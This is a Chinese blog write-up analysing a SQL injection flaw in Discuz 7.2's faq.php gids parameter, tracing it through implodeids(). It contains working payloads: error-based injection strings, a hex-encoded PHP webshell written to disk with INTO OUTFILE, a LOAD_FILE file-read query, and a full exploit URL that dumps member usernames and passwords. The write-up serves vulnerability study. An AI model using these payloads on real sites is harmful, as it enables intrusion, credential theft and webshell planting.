discuz 7.2 SQL 注入漏洞分析

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

1、漏洞影响范围

该漏洞影响discuz 7.2,discuz 7.2可以从http://www.comsenz.com/downloads/install/discuz下载

 

2、漏洞成因分析

漏洞存在于discuz根目录的faq.php文件,当程序使用$_GET,$_POST, $_COOKIES传入参数,faq.php,包含的./include/common.inc.php文件中会对这几个对象做处理,使得对象中的每一个键值对变成PHP的变量,具体代码如下所示。同时这一处的代码将所有的值进行了addslashes的处理使得每一处的单引号转义,变成一个位于PHP语言中的字符单引号,该代码位于文件的43行处。

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
	foreach($$_request as $_key => $_value) {
		$_key{0} != '_' && $$_key = daddslashes($_value);
	}
}

同时在faq.php的143行开始进行一种查询,在188行的位置代码如下所示。

	ksort($gids);
	$groupids = array();
	foreach($gids as $row) {
		$groupids[] = $row[0];
	}

此处对$gids做了处理,取出$gids的所有values值并取values值的下标为0的位置,如果value值为“'”则经过addslash的转换变成了“\'”,取下标为0的内容之后变成了“\”,如果value值为array("1234", "12345")则value取值为“1234”,并把渠道的所有values值的下标为0的值组成一个数组$groupids[]。

此时代码执行到如下位置

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

此处将$groupids[]组成起来,组合方式见如下函数,该函数位于global.func.php文件中

function implodeids($array) {
	if(!empty($array)) {
		return "'".implode("','", is_array($array) ? $array : array($array))."'";
	} else {
		return '';
	}
}

可以看出该函数将传入的$groupids[]组合成为'a1','a2','a3','a4'的形式,即使用“','”进行连接数组各个元素,使用“'”闭合前后。结合前文描述,如果数组中的元素包含“\”则$groupids[]将被组合成为‘a1','\','a3','a4',此时黄色的位置将会被组合成为一个新的字符串,如果a3包含sql语句,则可以早闭合SQL语句造成注入。本案中SQL语句为

SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a 
ON u.groupid=a.admingid WHERE u.groupid IN ('a1','a2','a3')

此时如果a2为“\”a3赋值称为“) and 1=1#”SQL语句会变成

SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a 
ON u.groupid=a.admingid WHERE u.groupid IN ('a1','\',') and 1=1#')

继而顺利闭合了前面的括号,造成了注入,在这里可以使用报错注入进行数据查询,例如使用

(extractvalue(1,concat(0x7e,(select user()),0x7e)))

将1=1进行替换。可以进行数据查询操作。

3、漏洞提权

报错注入之后可以使用如下代码进行提权操作,即想办法向web目录传送木马文件

into outfile "C://1.txt" line LINES TERMINATED BY 
0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c496e65747075625c5c777777726f6f745c5c44697363757a5f372e325f53435f555446385c5c75706c6f61645c5c6661712e7068705c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a(木马内容)--

此处闭合了select from where的查询,加入了into oufile,使得整体SQL语句变成了select from where into oufile,即变成了select 内容 into outfile的语句,同时使用LINES TERMINATED BY将select的内容进行按行的分割,本来此处常用的是“\n”,这里换成了木马内容,所以将导出一个有木马内容的PHP文件。整体的SQL语句结构变成了“select from where into outfile lines terminated by 木马内容”。

同时可以使用load_file进行读取文件的操作,使用的方式是基于报错的读取方式,注入SQL代码如下所示。

(SELECT 9526 FROM(SELECT COUNT(*),CONCAT(0x71767a7a71,(MID((IFNULL(CAST(HEX(LOAD_FILE('c://s3c/1.txt')) AS CHAR),0x20)),90,150)),0x7170767871,FLOOR(RAND(0)*2))X FROM INFORMATION_SCHEMA.PLUGINS GROUP BY X)a)

 

4、总结

exp:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x20,password)%20from%20cdb_members%20limit%200,1)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 

SQL注入的插入位置和深入的方式有很多,需要对SQL语句的嵌套查询方式进一步学习以了解嵌套查询的输入内容和位置。

 

转载于:https://my.oschina.net/u/812640/blog/1614053

你可能感兴趣的:(discuz 7.2 SQL 注入漏洞分析)